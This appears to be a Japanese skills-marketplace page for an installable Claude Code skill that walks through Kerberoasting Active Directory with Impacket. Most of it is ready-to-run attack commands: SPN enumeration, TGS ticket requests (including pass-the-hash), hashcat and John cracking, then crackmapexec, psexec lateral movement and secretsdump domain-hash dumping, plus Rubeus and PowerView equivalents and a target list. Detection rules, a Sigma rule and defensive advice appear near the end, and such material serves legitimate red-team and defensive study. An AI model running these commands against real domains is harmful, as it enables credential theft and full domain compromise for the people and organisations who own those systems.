mcpField
E
exploiting-kerberoasting-with-impacket

exploiting-kerberoasting-with-impacket

github.com/mukul975セキュリティ35.2k95 回インストール8 週間前に更新
リポジトリ

exploiting-kerberoasting-with-impacket について

Impacketを使ったKerberoastingの手順を、認可されたテスト担当者や防御チーム向けに解説するセキュリティスキルです。SPNの列挙、チケット要求、オフライン解析、検知に加え、防御策や関連するWindowsツールも扱います。

主な機能

  1. 01SPNを持つアカウントの列挙
  2. 02GetUserSPNs.pyによるTGSチケット要求
  3. 03HashcatまたはJohn the Ripperでのオフライン解析
  4. 04検知の手掛かりと防御策の確認

活用シーン

  1. 01認可されたActive Directoryレッドチームテスト
  2. 02管理された環境でのKerberoasting痕跡の分析
  3. 03Kerberosチケット要求の監視策の作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-kerberoasting-with-impacket

インストール後、Claude Code で/exploiting-kerberoasting-with-impacketを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

Impacket を使った Kerberoasting の悪用

概要

Kerberoasting(MITRE ATT&CK T1558.003)は、サービスプリンシパル名(SPN)を持つアカウントの Kerberos TGS(Ticket Granting Service)チケットを要求し、Active Directory のサービスアカウントを標的とする認証情報アクセス手法です。TGS チケットはサービスアカウントの NTLM ハッシュ(RC4 または AES)で暗号化されるため、オフラインでブルートフォースによるクラックが可能です。Impacket の GetUserSPNs.py は、Linux ベースの Kerberoasting 攻撃における標準ツールです。

使用する場面

  • Impacket を使った Kerberoasting の悪用を含む、許可を得たセキュリティテストを実施する場合
  • 制御された環境でマルウェアのサンプルや攻撃の痕跡を分析する場合
  • レッドチーム演習や侵入テストを実施する場合
  • 攻撃手法の理解に基づいて検知機能を構築する場合

前提条件

  • 有効なドメイン認証情報(任意のドメインユーザーが TGS チケットを要求できます)
  • ドメインコントローラーへのネットワークアクセス(Kerberos 用 TCP/88、LDAP 用 TCP/389)
  • Impacket のインストール(pip install impacket)
  • オフラインでクラックするための Hashcat または John the Ripper
  • ワードリスト(例:rockyou.txt、SecLists)

**法的通知:**このスキルは、許可を得たセキュリティテストおよび教育目的に限り使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

MITRE ATT&CK のマッピング

手法 ID名前戦術
T1558.003Kerberos チケットの窃取または偽造:Kerberoasting認証情報アクセス
T1087.002アカウントの探索:ドメインアカウント探索
T1110.002ブルートフォース:パスワードクラック認証情報アクセス

ステップ 1:Kerberoasting の対象となるアカウントを列挙する

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

ステップ 2:TGS チケットを要求する

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

ステップ 3:TGS チケットをオフラインでクラックする

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

ステップ 4:クラックした認証情報を検証して使用する

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

代替ツール

Rubeus(Windows)
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
PowerView(PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

標的を絞った Kerberoasting

Kerberoasting における価値の高い標的:

アカウントの種類理由リスク
Domain Admins のサービスアカウントドメイン侵害に直接つながる重大
SQL サービスアカウント(MSSQLSvc)過剰な権限を持つことが多い高
Exchange サービスアカウントすべてのメールにアクセスできる高
AdminCount=1 のアカウント過去または現在、特権を持つ高
古いパスワードを使用しているアカウント弱いパスワードを使用している可能性が高い中

検知

Windows イベントログ
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs
Sigma ルール
title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

防御に関する推奨事項

  1. グループ管理サービスアカウント(gMSA)を使用する - 240 文字のランダムなパスワードを自動でローテーションします
  2. すべてのサービスアカウントに強力なパスワード(25 文字以上)を設定する
  3. AES のみの暗号化を有効にする - GPO で RC4 を無効にします
  4. イベント ID 4769 を監視する - RC4 TGS 要求を確認します
  5. gMSA が利用できない場合は、管理サービスアカウントを導入する
  6. 定期的な監査を行う - BloodHound を実行し、Kerberoasting の対象となるアカウントを特定します
  7. Protected Users グループ - 機密性の高いサービスアカウントを追加します
  8. ハニーポット SPN - SPN を持つおとりアカウントを作成して攻撃を検知します

参考資料

コメント